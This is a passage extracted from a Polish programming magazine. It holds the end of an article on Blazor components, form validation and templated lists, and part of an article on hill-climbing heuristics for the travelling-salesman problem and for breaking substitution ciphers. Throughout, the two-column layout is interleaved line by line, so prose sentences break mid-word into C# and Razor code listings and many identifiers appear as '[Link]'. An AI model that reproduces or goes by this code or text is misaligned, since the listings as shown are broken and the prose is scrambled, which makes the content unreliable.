hostowania nie jest krytyczna – można ją dowolnie zmienić w zależ- Interfejs IDataRepository wskazuje na konkretną implementację.
ności od potrzeb. W przypadku projektów server-side deklarację serwisu realizuje się
standardowo w [Link] (metoda ConfigureServices):

KOMPONENTY [Link]<IDataRepository<Person>, PeopleRepository>();

Mając omówione podstawy, zobaczmy, jak wygląda komponent. Za-


łóżmy, że tworzymy aplikację prezentującą listę osób. Niech to bę- W przypadku projektów Blazor WebAssembly deklarację realizujemy
dzie nasz widok główny, który użytkownik widzi po uruchomieniu w ramach metody Main klasy Program:
aplikacji. Po kliknięciu elementu na liście musimy wyświetlić pełne
public static async Task Main(string[] args)
szczegóły osoby w postaci widoku o nazwie PersonDetails (w no- {
menklaturze Blazor byłby to plik [Link]). var builder = [Link](args);
[Link]<App>("#app");
Do realizacji tego zadania potrzebujemy mieć model, źródło da-
[Link](sp => new HttpClient {
nych, a także nawigację pomiędzy stronami. W moim przypadku BaseAddress = new Uri([Link])
modelem jest klasa Person (typowa klasa POCO w C#), natomiast });

źródłem danych klasa PersonRepository implementująca interfejs [Link]<IDataRepository<Person>,


PeopleRepository>();
IDataRepository, który definiuje metody do operacji CRUD, np.
GetItemAsync, GetItemsAsync, AddItemAsync itd. Wszystko to za- await [Link]().RunAsync();
}
implementowałem w projekcie .NET 5 Class Library, który nazwa-
łem Common.
Nawigacja wymaga ode mnie użycia dyrektywy @page. W moim Innym istotnym aspektem jest dołączanie przestrzeni nazw. Robimy
przykładzie komponent PersonDetails jest dostępny za pomocą to za pomocą dyrektywy @using. Każdy komponent uwzględnia też
dwóch tras: przestrzenie nazw z pliku _Imports.razor.
» /personDetails (bez parametrów) – w takim przypadku nastą-
Listing 4. Przykładowy komponent prezentujący dane osobowe
pi prezentacja osoby o identyfikatorze 0,
» /personDetails/{PersonId} – wyświetli dane osoby o wska- @page "/personDetails"
@page "/personDetails/{PersonId}"
zanym Id.
@using [Link]
@using [Link]
Spójrzmy, jak wygląda implementacja (Listing 4). Najpierw dodałem @inject IDataRepository<Person> PeopleRepository
dwie dyrektywy @page:
<h3>Person details</h3>
<hr />
@page "/personDetails" <dl class="dl-horizontal">
@page "/personDetails/{PersonId}" <dt>First name:</dt>
<dd>@[Link]</dd>
Następnie musiałem uzupełnić komponent o parametr (sekcja @code) <dt>Last name:</dt>
<dd>@[Link]</dd>
public string PersonId { get; set; }
<dt>Birth date:</dt>
<dd>@[Link]()</dd>
który służy do zmapowania parametru trasy na wartość, którą mo- </dl>
żemy sobie potem wykorzystać w kodzie C#, np. do pobrania osoby <a href="/">Back to list</a>
z repozytorium:
@code {

<34> {  3 / 2021 < 97 >  }


/ Blazor jako nowoczesny [Link] Web Forms /

[Parameter] [IsAdult] // Niestandardowy atrybut walidacji


public string PersonId { get; set; } public DateTime BirthDate { get; set; }

private Person person; // Pozostałe elementy klasy


}
protected override async Task OnInitializedAsync()
{
PersonId = PersonId ?? "0";
person = await [Link](PersonId); Komponent EditForm może też wywoływać metody w przypadku,
}
} gdy nastąpi pomyślna walidacja (OnValidSubmit) lub gdy użytkow-
nik wprowadził błędne dane (OnInvalidSubmit). W tym przykła-

WALIDACJA FORMULARZY dzie wykorzystuję te metody do dodania osoby (AddPerson w Listin-


gu 5) i powrotu do widoku z listą lub do wyświetlenia komunikatu
Wiązania danych z kontrolkami można też dokonać w drugą stronę. o błędzie (DisplayAlert w Listingu 5).
Dzięki temu zmiana zawartości pól tekstowych będzie automatycznie
Listing 5. Przykładowy komponent PersonForm z formularzem
aktualizować wartości docelowe w odpowiednich polach modelu. Do-
myślnie aktualizacja modelu następuje po utracie fokusu. Jak za chwilę @if (isInvalidSubmit)
{
pokażę, możemy to zmienić w taki sposób, aby każdorazowa zmiana <div class="alert alert-primary" role="alert">
kontrolki (np. pola tekstowego) aktualizowała właściwość docelową. Please correct the form and try again.
</div>
Typowym zastosowaniem tego mechanizmu są wszelkiego ro- }
dzaju formularze, w których dokonujemy walidacji. To sprawdzenie <EditForm Model="@Person" OnValidSubmit="AddPerson"
poprawności danych może być automatycznie wyzwalane podczas OnInvalidSubmit="DisplayAlert">
<DataAnnotationsValidator />
aktualizacji związanych właściwości.
<div class="form-group">
W moim przykładzie byłaby to walidacja danych osobowych. Re- <label class="control-label">First name:</label>
alizację tego zadania rozpocząłem od utworzenia dodatkowego kom- <InputTextOnInputValidation @bind-Value="[Link]"
class="form-control"/>
ponentu InputTextOnInputValidation, który aktualizuje wartości <ValidationMessage For="@(() => [Link])" />
w wiązaniu w odpowiedzi na zdarzenia oninput zamiast domyślnego <br />
</div>
onchange:
@* ... *@
@inherits InputText <button type="submit" class="btn-primary">Submit</button>
</EditForm>
<input @attributes="AdditionalAttributes"
class="@CssClass" @using [Link]
@bind="CurrentValueAsString" @inject IDataRepository<Person> PeopleRepository
@bind:event="oninput"/> @inject NavigationManager NavigationManager

Wykorzystałem ten komponent do zaimplementowania formularza @code {


[Parameter]
(zob. też Listing 5): public Person Person { get; set; }

[Parameter]
<EditForm Model="@Person" OnValidSubmit="AddPerson" public string ListUrl { get; set; }
OnInvalidSubmit="DisplayAlert">
<DataAnnotationsValidator /> private bool isInvalidSubmit = false;
<div class="form-group"> private async Task AddPerson()
<label class="control-label">First name:</label> {
<InputTextOnInputValidation @bind-Value="[Link]" await [Link](Person);
class="form-control"/>
<ValidationMessage For="@(() => [Link])" /> [Link](ListUrl);
<br /> }
</div>
private async Task DisplayAlert()
@* ... *@ {
isInvalidSubmit = true;
<button type="submit" class="btn-primary">Submit</button>
</EditForm> await [Link](2500);

isInvalidSubmit = false;
}
Formularze w Blazor bazują na komponencie EditForm. Udostępnia }
on dwa mechanizmy walidacji: jeden w oparciu o parametr Model,
a drugi bardziej ogólny oparty o EditContext. W powyższym listin-
WIDOK LISTY I SZABLONY KOMPONENTÓW
gu wykorzystałem pierwszą możliwość. EditForm pobiera reguły wa-
lidacji z atrybutów modelu (analogicznie jak w MVC i RazorPages): Na zakończenie tego artykułu zobaczmy jeszcze, jak można stworzyć
widok z listą. W najprostszym przypadku skorzystalibyśmy z analo-
public class Person
{ gicznego kodu, jak znany z [Link] MVC, i wyświetlili dane w tabeli:
public string Id { get; set; }
<table class="table">
[Required(ErrorMessage = "Please provide the first name")] <thead>
[StringLength(10, MinimumLength=2, ErrorMessage = "First name <tr>
should have 2-10 characters")] <th>First name</th>
public string FirstName { get; set; }

{  [Link]  } <35>
PROGRAMOWANIE APLIKACJI WEBOWYCH

@* Pozostałe właściwości *@
Te szablony komponentów dobrze jest definiować w osobnych
<th>Actions</th>
</tr> projektach typu RazorClassLibrary. Dzięki temu łatwiej będzie współ-
</thead> dzielić komponenty w wielu projektach czy modelach hostowania.
<tbody>
@foreach (var person in people)
{
<tr>
WSPÓŁPRACA Z JAVASCRIPT
<td>@[Link]</td>
Chociaż Blazor umożliwia nam obsługę interakcji w oparciu o C#,
@* Pozostałe właściwości *@
to jednak nie sposób wyobrazić sobie aplikacji webowych całkowicie
<td>
pozbawionych kodu JavaScript. W przypadku, gdy zajdzie koniecz-
<a href="/personDetails/@[Link]">Details</a>
</td> ność wykorzystania JavaScript, to realizujemy to w oparciu o JSRun-
</tr>
}
time. Poniżej przykład wykorzystania tego mechanizmu do wyświe-
</tbody> tlenia okna modalnego w celu potwierdzenia usunięcia użytkownika:
</table>

@code { <TableTemplate Items="[Link]()" TItem="Person">


private IEnumerable<Person> people; <TableHeader>
<th>First name</th>
protected override async Task OnInitializedAsync() @* Pozostałe właściwości *@
{ </TableHeader>
people = await [Link](); <RowTemplate>
} <td>@[Link]</td>
} @* Pozostałe właściwości *@
<td>
<a href="/peopleList" @onclick="@(e =>
Oczywiście jest to w pełni działające rozwiązanie, ale dotyczy tylko DeletePerson(e, [Link]))">Delete</a>
<a href="/personDetails/@[Link]">Details</a>
obiektów typu Person. W praktyce będziemy mieli bardzo wiele list </td>
do wyświetlenia. Z tego powodu lepiej jest skorzystać z templated </RowTemplate>
</TableTemplate>
components, czyli czegoś, co po polsku nazwalibyśmy szablonami
@inject IJSRuntime JSRuntime
komponentów. Działa to podobnie do szablonów widoków. Najpierw
definiujemy ogólną postać komponentu: @code {
private async Task DeletePerson(EventArgs e, string personId)
{
@typeparam TItem var answer = await [Link]<bool>("confirm",
<table class="table"> "Are you sure?");
<thead> if (answer)
<tr>@TableHeader</tr> {
</thead> await [Link](personId);
<tbody> }
@foreach (var item in Items) }
{ // ...
<tr>@RowTemplate(item)</tr> }
}
</tbody>
</table>

@code {
PODSUMOWANIE
[Parameter]
public IReadOnlyList<TItem> Items { get; set; } W tym artykule omówiłem podstawowe aspekty technologii Bla-
[Parameter] zor w kontekście aplikacji CRUD. Pozwoliło to zilustrować główne
public RenderFragment TableHeader { get; set; } koncepcje Blazora i porównać je do tych znanych z MVC i Razor-
[Parameter] Pages. Z tego powodu wykorzystanie technologii Blazor nie stanowi
public RenderFragment<TItem> RowTemplate { get; set; }
} wyzwania dla obecnych programistów MVC. Może być jednak dobrą
alternatywą dla prostszych projektów i stanowi doskonałe narzędzie
A następnie wykorzystujemy jego szczególną wersję dla konkretnych edukacyjne, wspierające wzorce projektowe i dobre praktyki tworze-
danych: nia aplikacji webowych.

<TableTemplate Items="[Link]()" TItem="Person">


<TableHeader>
<th>First name</th> DAWID BORYCKI
@* Pozostałe właściwości *@
</TableHeader> dawid@[Link]
<RowTemplate>
<td>@[Link]</td> Autor, naukowiec, programista. Twórca marki
@* Pozostałe właściwości *@ szkoleniowej overtakeIT. Uczestnikami jego
<td> szkoleń są pracownicy takich firm jak: HP, Intel,
<a href="/personDetails/@[Link]">Details</a> Samsung, Siemens, GE Healthcare, Unit4, ABB,
</td>
Volvo, Diebold Nixdorf, Hilton, Societe Generale,
</RowTemplate>
</TableTemplate> Wabco, Dormakaba, GSK, BeyondTrust.

<36> {  3 / 2021 < 97 >  }


ALGORYTMIKA

Wybrane algorytmy i struktury danych.


Część 8: algorytmy hill-climb
Komputer jest narzędziem, które – przy zastosowaniu odpowiednich algorytmów – pomaga
przy rozwiązywaniu ogromnej liczby różnych problemów. Wśród nich istnieje jednak szczegól-
na grupa takich, których nie da się rozwiązać w bezpośredni sposób w akceptowalnym czasie.
W ich przypadku konieczne jest zastosowanie nieco bardziej nieszablonowego podejścia.

PROBLEM KOMIWOJAŻERA Choć nie dają one gwarancji odnalezienia optymalnego rozwiązania
(a w skrajnych przypadkach nie dają nawet gwarancji odnalezienia
Rozważmy problem kuriera rozwożącego przesyłki w mieście. Każ- jakiegokolwiek rozwiązania), bardzo często są w stanie w rozsądnym
dego dnia otrzymuje on listę miejsc, które musi odwiedzić. Przejazd czasie wygenerować wynik bardzo zbliżony do optymalnego. W na-
z jednej lokalizacji do drugiej kosztuje oczywiście czas oraz paliwo, szym przypadku skorzystamy z ogólnego rozwiązania o angielskiej
więc zależy nam na tym, by zminimalizować sumaryczny dystans, nazwie hill-climb (wspinaczka górska).
który kurier będzie musiał danego dnia pokonać. Działanie algorytmu możemy wyobrazić sobie w następujący
Zła wiadomość jest taka, że jest to tak zwany problem NP-trudny, sposób. Znajdujemy się w górach i zależy nam na odnalezieniu naj-
co oznacza, że jedynym sensownym rozwiązaniem jest metoda bru- wyższego szczytu. Panuje jednak nieprzenikniona mgła i jesteśmy
talnej siły (ang. brute-force), czyli mechaniczne sprawdzenie wszyst- w stanie dostrzec jedynie najbliższy teren wokół nas. Wybieramy
kich możliwych tras, wyznaczenie ich długości, a następnie wybranie więc losowe miejsce i badamy jego otoczenie. Spośród wszystkich
najkrótszej z nich. Zastanówmy się więc, o jakiego rzędu liczbach tu- punktów wybieramy najwyższy, przesuwamy się tam i ponawiamy
taj mówimy? próbę. Robimy to tak długo, jak długo jesteśmy w stanie iść w górę;
Z matematycznego punktu widzenia mamy tu do czynienia z per- gdy nie jest to już możliwe, zapisujemy położenie osiągniętego przez
mutacjami zbioru. Jeżeli nazwiemy kolejne lokalizacje kolejnymi lite- nas punktu oraz jego wysokość i powtarzamy cały proces od nowa,
rami, czyli A, B, C, … (przyjmując dodatkowo symbol # jako bazę fir- z innego, losowo wybranego miejsca.
my przewozowej), to każdą trasę możemy zapisać po prostu jako ciąg Algorytm typu hill-climb należy do kategorii algorytmów za-
symboli. Na przykład dla trasy #ABC# kurier rusza z bazy do punktu chłannych, czyli szuka lokalnych optimów w nadziei na odnalezienie
A, stamtąd do punktu B, potem do punktu C i na koniec znów wraca globalnego optimum. Istnieje jednak kilka ograniczeń, które spra-
do bazy. wiają, że nie zawsze można go zastosować.
Baza z oczywistych powodów musi zawsze znajdować się na po- Przede wszystkim musimy mieć możliwość wyznaczenia wartości
czątku i na końcu trasy, ale kolejnością odwiedzania poszczególnych reprezentującej współczynnik dopasowania bieżącego kandydata na
punktów możemy już dowolnie manipulować. Mając więc do odwie- rozwiązanie problemu. Funkcja dopasowania musi być również spój-
dzenia trzy lokalizacje, możemy zrobić to na 6 sposobów: #ABC#, na, czyli dla lepszych kandydatów powinna zwracać wyższe wartości,
#ACB#, #BAC#, #BCA#, #CAB# oraz #CBA#. zaś dla gorszych – niższe. Istnieje jeszcze jeden, dodatkowy warunek:
Sześć możliwości do sprawdzenia może nie wydawać się szcze- algorytm ten zadziała bowiem prawidłowo tylko wtedy, gdy możemy
gólnie zatrważającą liczbą, ale tylko do momentu, w którym za- bezpiecznie założyć, że podobni kandydaci będą generować podob-
czniemy rozważać dłuższe trasy. Ponieważ wzorem wyznaczającym ne wartości dopasowania. Innymi słowy, wprowadzenie niewielkiej
liczbę możliwych permutacji dla zbioru n-elementowego jest n!, a n! zmiany do potencjalnego kandydata powinno skutkować niewielką
liczymy jako 1 * 2 * 3 * … * (n-1) * n, dla 5 miejsc będziemy musieli zmianą wartości dopasowania.
sprawdzić 120 tras: dla 10 miejsc – 3628800, dla 20 miejsc – 2 432 W przypadku problemu komiwojażera oba warunki są spełnio-
902 008 176 640 000, zaś dla 30 – 265 252 859 812 191 058 636 308 ne, ponieważ wartością dopasowania jest po prostu sumaryczna
480 000 000 (265 kwintyliardów). Aby zobrazować skalę, gdybyśmy odległość konieczna do pokonania, a niewielka zmiana trasy będzie
byli w stanie przetwarzać sto miliardów tras na sekundę, sprawdze- zwykle skutkowała (relatywnie) niewielką zmianą sumarycznego
nie wszystkich dla 30-elementowego zbioru lokalizacji zajęłoby nieco dystansu.
ponad 84 biliony lat. Tymczasem według artykułów znajdujących się
na popularnych portalach kurierzy muszą czasami rozwieźć dziennie
IMPLEMENTACJA
nawet 50 przesyłek.
Spróbujmy więc zaimplementować algorytm hill-climb do rozwią-

HEURYSTYKA zania problemu komiwojażera. Załóżmy, że wszystkie współrzędne


odwiedzanych punktów mieszczą się w kwadracie 10x10 jednostek
Wobec problemów, których (efektywnie) nie jesteśmy w stanie roz- (jedynie dla uproszczenia wizualizacji). Każdy z punktów opatrzymy
wiązać bezpośrednio, możemy zastosować algorytmy heurystyczne. dodatkowo etykietą, abyśmy mogli je od siebie łatwo odróżniać.

<38> {  3 / 2021 < 97 >  }


ALGORYTMIKA

Listing 1. Definicja punktu trasy if ([Link]())


{
public class Location result += [Link](path[0].Pos)
{ + [Link]().[Link]([Link]);
private static readonly Random rnd = new Random(1234);
for (int i = 0; i < [Link] - 1; i++)
public Location(PointF position, string label) result += path[i].[Link](path[i + 1].Pos);
{ }
Pos = position;
return result;
Label = label;
}
}

public static Location WithRandomPosition(string label)


{ Dochodzimy teraz do sedna, czyli do implementacji samego algorytmu.
return new Location( Na początku musimy zdecydować o warunkach zakończenia.
new PointF([Link](100) / 10.0f,
[Link](100) / 10.0f), W normalnej sytuacji zakończylibyśmy działanie algorytmu w mo-
[Link]());
}
mencie osiągnięcia najlepszego rozwiązania, ale siłą rzeczy w naszym
przypadku nie jesteśmy w stanie tego stwierdzić. Dlatego też wpro-
public string AsDot()
{ wadzimy dwa warunki: maksymalną liczbę iteracji oraz maksymalną
return $"{Label} [\r\n\t" + liczbę iteracji bez osiągnięcia poprawy rozwiązania. Pierwszy waru-
$"label = \"{Label}\"\r\n\t" +
$"pos = \"" + nek zapobiega po prostu wpadnięciu w nieskończoną pętlę, zaś drugi
$"{[Link]([Link])}," +
$"{[Link]([Link])}!\"\r\n]";
ogranicza niepotrzebne iteracje w sytuacji, gdy przez dłuższy czas nie
} uda nam się osiągnąć lepszego wyniku niż najlepszy, odnaleziony do
public PointF Pos { get; } tej pory.
public string Label { get; }
Po rozpoczęciu działania algorytmu zakładamy tymczasowo, że
}
pierwotne rozwiązanie jest najlepsze – wyznaczamy jego wartość do-
pasowania, by móc porównywać je z innymi.
Słowem komentarza, metoda AsDot generuje definicję punktu w języ- W następnym kroku wybieramy całkowicie losowo nowe rozwią-
ku Dot używanym przez program GraphViz do wizualizacji grafów. zanie, czyli generujemy trasę przechodzącą przez wszystkie wymaga-
Dla prostoty implementacji zdefiniujemy od razu dwie metody ne punkty w losowy sposób. Działanie to – w kontekście koncepcji
pomocnicze, które znacząco ułatwią nam za chwilę życie. wspinaczki górskiej – jest odpowiednikiem losowego wybrania miej-
sca, z którego będziemy próbować osiągnąć szczyt.
Listing 2. Metody pomocnicze
Teraz następuje faza mutowania rozwiązania. Polega ona na wpro-
public static class Helpers wadzaniu do niego niewielkiej zmiany i sprawdzeniu, czy poprawia
{
public static double DistanceTo(this PointF source, ona wynik. Jeżeli tak, pozostawiamy ją, jeżeli zaś nie – wycofujemy
PointF dest) => i próbujemy innej. W pewnym momencie dojdziemy do miejsca,
[Link]([Link](dest.X - source.X, 2) +
[Link](dest.Y - source.Y, 2)); w którym żadna zmiana nie będzie już w stanie poprawić dopaso-
public static void Exchange<T>(this List<T> list, wania i miejsce to stanowi lokalne maksimum naszego problemu
int index1, (z dokładnością do sposobu, w jaki wprowadzamy do niego zmiany).
int index2)
{ W przypadku problemu komiwojażera rozwiązaniem jest ciąg
T tmp = list[index1];
punktów trasy. Najprostszą mutacją, czyli niewielką modyfikacją
list[index1] = list[index2];
list[index2] = tmp; rozwiązania, może być więc zamiana dwóch punktów miejscami. Za-
}
}
uważmy, że taka zmiana wpłynie w relatywnie niewielkim stopniu na
wartość dopasowania, ponieważ zmieni długość co najwyżej czterech
odcinków trasy. Tym sposobem zapewniamy zgodność z jednym
Absolutnie kluczowym elementem algorytmu jest oczywiście funkcja z opisanych wcześniej założeń.
wyznaczająca wartość dopasowania. To właśnie ona reguluje działa- Osiągnięcie maksimum lokalnego jest oczywiście sukcesem, ale
nie algorytmu, bo definiuje, jaka konkretna cecha rozwiązania jest nie mamy żadnej pewności, czy odnalezione przez nas rozwiązanie
przez nas pożądana. W przypadku problemu komiwojażera oczy- jest jednocześnie maksimum globalnym. Pozostaje nam więc szukać
wiście chodzi nam o minimalizację trasy, czyli sumować będziemy kolejnych maksimów lokalnych i spośród wszystkich wybrać to, któ-
odległości poszczególnych odcinków. Nic nie stoi jednak na prze- rego wartość dopasowania będzie najwyższa. Przy odrobinie szczę-
szkodzie, by wprowadzić inną definicję dopasowania (możemy na ścia znajdziemy w ten sposób rozwiązanie optymalne, a jeżeli nie, to
przykład promować te rozwiązania, które sprawią, że kurier szybko przynajmniej istnieje spora szansa, że będzie ono do niego bardzo
pozbędzie się dużej liczby paczek lub że najpierw pozbędzie się naj- zbliżone.
większych z nich – i tak dalej). Implementacja opisanego powyżej algorytmu może wyglądać
następująco:
Listing 3. Metoda obliczająca dopasowanie rozwiązania
Listing 4. Implementacja algorytmu hill-climb dla problemu komiwojażera
private static double Evaluate(Location courierBase,
List<Location> path)
private static void Shuffle(List<Location> path)
{
double result = 0.0; {

<40> {  3 / 2021 < 97 >  }


/ Wybrane algorytmy i struktury danych. Część 8: algorytmy hill-climb  /

Random random = new Random(); Listing 5. Uruchamiamy algorytm

for (int i = [Link] - 1; i > 1; i--) private static string ExportToDot(Location courierBase,
{ List<Location> path)
int j = [Link](i + 1); {
StringBuilder sb = new StringBuilder();
if (i != j) [Link]("digraph {");
[Link](i, j);
} [Link]([Link]());
} foreach (var loc in path)
[Link]([Link]());
private static List<Location> Solve(Location courierBase,
List<Location> locations) if ([Link]())
{ {
double bestLength = Evaluate(courierBase, locations); [Link]($"{[Link]} -> " +
List<Location> bestPath = new(locations); $"{path[0].Label}");
for (int i = 0; i < [Link] - 1; i++)
int iteration = 0; [Link]($"{path[i].Label} -> " +
int iterationsWithoutProgress = 0; $"{path[i + 1].Label}");
[Link]($"{[Link]().Label} -> " +
for (int i = 0; i < MaxIterations && $"{[Link]}");
iterationsWithoutProgress < IterationsWithoutProgress; i++) }
{
List<Location> testedPath = new List<Location>(locations); [Link]("}");
Shuffle(testedPath);
return [Link]();
double localBestLength = Evaluate(courierBase, testedPath); }

int index1 = 0, index2 = 1; static void Main(string[] args)


{
while (index1 < [Link] - 1) var random = new Random(456);
{
[Link](index1, index2); var courierBase = [Link]("Base");
var path = [Link](1, 30)
iteration++; .Select(x => [Link]($"P{x}"))
double length = Evaluate(courierBase, testedPath); .ToList();
if (length < localBestLength) [Link]($"Initial distance: " +
{ $"{Evaluate(courierBase, path)}");
localBestLength = length;
index1 = 0; [Link](@"D:\[Link]",
index2 = 1; ExportToDot(courierBase, path));
} var optimizedPath = Solve(courierBase, path);
else
{ [Link](@"D:\[Link]",
[Link](index1, index2); ExportToDot(courierBase, optimizedPath));

index2++; [Link]();
if (index2 >= [Link]) }
{
index1++;
index2 = index1 + 1; WYNIKI
}
} Muszę szczerze przyznać, że fakt, iż algorytm jest oparty w dużej
}
mierze na losowości, budził na początku moją nieufność. Jednak siłą
if (localBestLength < bestLength) hill-climb jest to, że nie tylko losuje on rozwiązania, ale też próbuje je
{
[Link]($"Better path found with length " + ulepszać – co daje akceptowalne wyniki znacznie szybciej niż zwykła
$"{localBestLength}");
metoda prób i błędów.
[Link]($"(iteration {iteration})");
I faktycznie – odnalezienie bardzo dobrego rozwiązania dla 30
iterationsWithoutProgress = 0;
bestLength = localBestLength; punktów trasy zajęło zaledwie pół minuty (przyjąłem maksymalnie
bestPath = new(testedPath); 100000 prób oraz 1000 mutacji bez poprawy).
}
else
Listing 6. Efekt działania algorytmu
{
iterationsWithoutProgress++;
Initial distance: 142,29159484567953
}
Better path found with length 55,56119335195268(iteration 5000)
}
Better path found with length 51,523064806852574(iteration 16062)
[Link]($"Finished after " + Better path found with length 49,855284847040004(iteration 39532)
$"{iteration} iterations"); Better path found with length 47,049199882483634(iteration 158795)
[Link]($"Iterations without " + Better path found with length 46,50563363367906(iteration 511389)
$"progress: {iterationsWithoutProgress}"); Better path found with length 45,995322183811886(iteration 527710)
Better path found with length 45,722426757983214(iteration 2499496)
return bestPath; Better path found with length 43,242679690321765(iteration 3877290)
} Finished after 11527950 iterations
Iterations without progress: 1000
Finished solving after [Link].0706796

Do kompletnego rozwiązania potrzebujemy oczywiście metody, która


wywoła cały algorytm, oraz innej, która pomoże zwizualizować wyni- Na Rysunkach 1 i 2 możemy zobaczyć różnicę pomiędzy rozwiąza-
ki, by móc ocenić ich prawidłowość. Zamknijmy wszystko w małym niem pierwotnym (w którym punkty są odwiedzane według ich ety-
programie konsolowym napisanym dla .NET 5. kiet) oraz zoptymalizowanym przy pomocy algorytmu hill-climb.

{  [Link]  } <41>
ALGORYTMIKA

Zachęcam do samodzielnego wykonania różnych eksperymen-


tów. Algorytm można bardzo łatwo modyfikować, a modyfikacje te
mogą dać bardzo interesujące rezultaty.

SZYFR PODSTAWIENIOWY
Problem komiwojażera to niejedyne zagadnienie, gdzie algorytm
typu hill-climb pozwala osiągnąć spektakularne wyniki. Otóż okazu-
je się, że można z powodzeniem zastosować go również do automa-
tycznego łamania szyfrów podstawieniowych.
Szyfr podstawieniowy jest bardzo prostym sposobem zabezpie-
czania informacji, a polega on na zamianie liter jawnej wiadomości
na inne według określonego klucza. Dla przykładu, jeżeli naszym
tekstem jawnym jest:

Ala ma kota

Oraz zastosujemy następujący klucz:

a b c d e f g h i j k l m n o p q r s t u v w x y z
Rysunek 1. Pierwotna trasa
s h e r l o c k v i p d w y j a z f n b q m u t x g

Wówczas zaszyfrowana wiadomość będzie brzmiała (bez uwzględ-


niania wielkości liter):

Sds ws pjbs

Oczywiście szyfr ten w żadnej mierze nie jest bezpieczny, ponieważ


zachowuje statystyczne właściwości tekstu. Jeżeli na przykład w ję-
zyku angielskim najczęściej występującymi literami są e oraz a, zaś
w analizowanym przez nas szyfrogramie są to litery x i y, możemy
z dużym prawdopodobieństwem przypuszczać, że x reprezentuje li-
terę e, zaś y – literę a. To pozwala nam zgadnąć co krótsze wyrazy,
wówczas możemy odzyskać większą część klucza – i tak dalej, aż do
odtworzenia całej pierwotnej wiadomości.
Możemy jednak proces ten znacząco przyspieszyć, korzystając
właśnie z algorytmu hill-climb.

PROBLEM
Na jednej ze stron internetowych poświęconych automatyczne-
Rysunek 2. Zoptymalizowana trasa mu łamaniu szyfrów podstawieniowych możemy znaleźć taką oto
wiadomość:
Uruchamianie algorytmu dla większych zbiorów danych wymaga
Listing 7. Zaszyfrowana wiadomość
wprowadzenia w nim pewnych modyfikacji. W proponowanej przeze
mnie implementacji mutacja rozwiązania polega na próbie zamia- Rbo rpktigo vcrb bwucja wj kloj hcjd, km sktpqo, cq rbwr loklgo
vcgg cjqcqr kj skhcja wgkja wjd rpycja rk ltr rbcjaq cj cr.
ny każdych dwóch elementów miejscami, co oczywiście daje nam -- Roppy Lpwrsborr
((n)*(n-1))/2 możliwych mutacji. Oprócz tego w przypadku wykry-
cia poprawy zaczynam mutować rozwiązanie od nowa. Taka metoda Spróbujmy złamać ten szyfr.
pozwala na osiągnięcie lepszych wyników, ale niestety za cenę znacz- Na początku odpowiedzmy sobie na pytanie, czy nie łatwiej jest
nego wydłużenia czasu działania algorytmu. po prostu sprawdzić wszystkie kombinacje klucza? Czasami metoda
Alternatywą mógłby być na przykład losowy dobór elementów do brute-force okazuje się być całkiem niezłym rozwiązaniem.
zamiany. To pozwoliłoby ograniczyć liczbę wykonywanych mutacji Jeżeli spojrzymy na dolną część klucza, stanowi ona tak napraw-
do pewnej arbitralnie przyjętej wartości, jednak stałoby się to kosz- dę permutację alfabetu. Znamy już z poprzedniego problemu wzór
tem dokładności algorytmu: po zakończeniu danej iteracji nie mieli- na liczbę permutacji, więc możemy szybko policzyć, że dla alfabetu
byśmy pewności, że stanowi ona maksimum lokalne. 26-znakowego mamy ich 403 kwadryliardy, zaś dla 32-znakowego

<42> {  3 / 2021 < 97 >  }


/ Wybrane algorytmy i struktury danych. Część 8: algorytmy hill-climb  /

– 263 sekstyliony. Cóż; metoda brute-force niestety odpada. Spróbuj- Zauważmy, że powyższa własność kodów quadgramów pozwala na
my więc znów zastosować hill-climb. błyskawiczne dzielenie źródłowego tekstu na gotowe kody, co oczywi-
ście znacząco przyspiesza obliczanie wartości funkcji dopasowania.

JAK ZŁAMAĆ SZYFR?


FUNKCJA DOPASOWANIA
Jest jasne, że w kontekście hill-climb naszym rozwiązaniem będą
klucze, a rolę mutacji może znów pełnić zamiana miejscami znaj- Aby nauczyć nasz algorytm prawidłowego liczenia wartości dopa-
dujących się w nich elementów. Znacznie większym problemem jest sowania, musimy dostarczyć mu najpierw solidną próbkę prawidło-
jednak wyznaczenie takiej funkcji dopasowania, która będzie w sta- wych wyrazów określonego języka. Można tu skorzystać z dużego
nie realnie ocenić, „jak dobrze” rozszyfrowany jest tekst przy pomo- słownika polskich wyrazów (link w sekcji „W sieci”), ale równie do-
cy danego klucza, i przekuć tę ocenę na odpowiadającą jej wartość brym (a może nawet lepszym) źródłem jest po prostu kilka książek
liczbową. w postaci pliku tekstowego. Przyczyną takiego stanu rzeczy jest fakt,
Sposób taki istnieje, ale tym razem nie wykpimy się prostą mate- iż wyrazy, z których często korzystamy, równie często pojawią się
matyczną funkcją, tylko będziemy musieli nasz algorytm wcześniej w treści książki, co pozytywnie wpłynie na wartości reprezentujące
trochę wytrenować. częstotliwość występowania wchodzących w ich skład quadgramów.
Zwróćmy uwagę, że w każdym języku występują takie sekwencje W słowniku natomiast każdy wyraz pojawia się dokładnie raz, a poza
liter, które możemy znaleźć często, oraz takie, które spotykane są bar- tym jest tam bardzo dużo wyrazów używanych bardzo rzadko, co
dzo rzadko lub wręcz wcale. Na przykład w języku polskim bardzo może pogorszyć jakość zbudowanej bazy.
często spotkamy czteroliterową sekwencje „anie” (kopiowanie, wy- Pozostaje tylko kwestia wygenerowania odpowiednich danych.
cinanie, wklejanie, budowanie, kompilowanie, bieganie, latanie, …) W tym celu:
i jednocześnie można postawić dolary przeciw orzechom, że żadne » Wczytujemy linie ze źródłowych plików.
polskie słowo nie będzie zawierało sekwencji „ekqz”. Mając więc pe- » Wyłuskujemy z nich wszystkie quadgramy i zliczamy ich
wien fragment tekstu, możemy połamać go na ciągi o równych dłu- wystąpienia.
gościach i sprawdzić, jak często występują one w prawidłowych sło- » Następnie wyznaczamy częstotliwość ich występowania, dzieląc
wach danego języka. Jeżeli takich ciągów znajdziemy dużo, możemy liczbę wystąpień konkretnego quadgramu przez liczbę wszyst-
przypuszczać, że tekst jest bliski prawidłowemu. kich quadgramów.
Konieczne jest jednak zachowanie balansu w kwestii długości ta- » Wreszcie na koniec obliczamy logarytm o podstawie 10 z wyzna-
kich ciągów. Jeżeli wybierzemy zbyt krótkie ciągi (na przykład dwu- czonej częstotliwości i zapisujemy ją jako wartość dopasowania.
literowe), ryzykujemy, że wyniki nie będą miarodajne. Łatwo jest
przecież skonstruować takie słowo, w którym pary liter stanowią se- Zastosowanie logarytmu pozwala osiągnąć sensowne i czytelne dla
kwencje często spotykane w języku polskim, ale samo słowo nic nie człowieka wartości punktacji dla quadgramów. Jeżeli na przykład
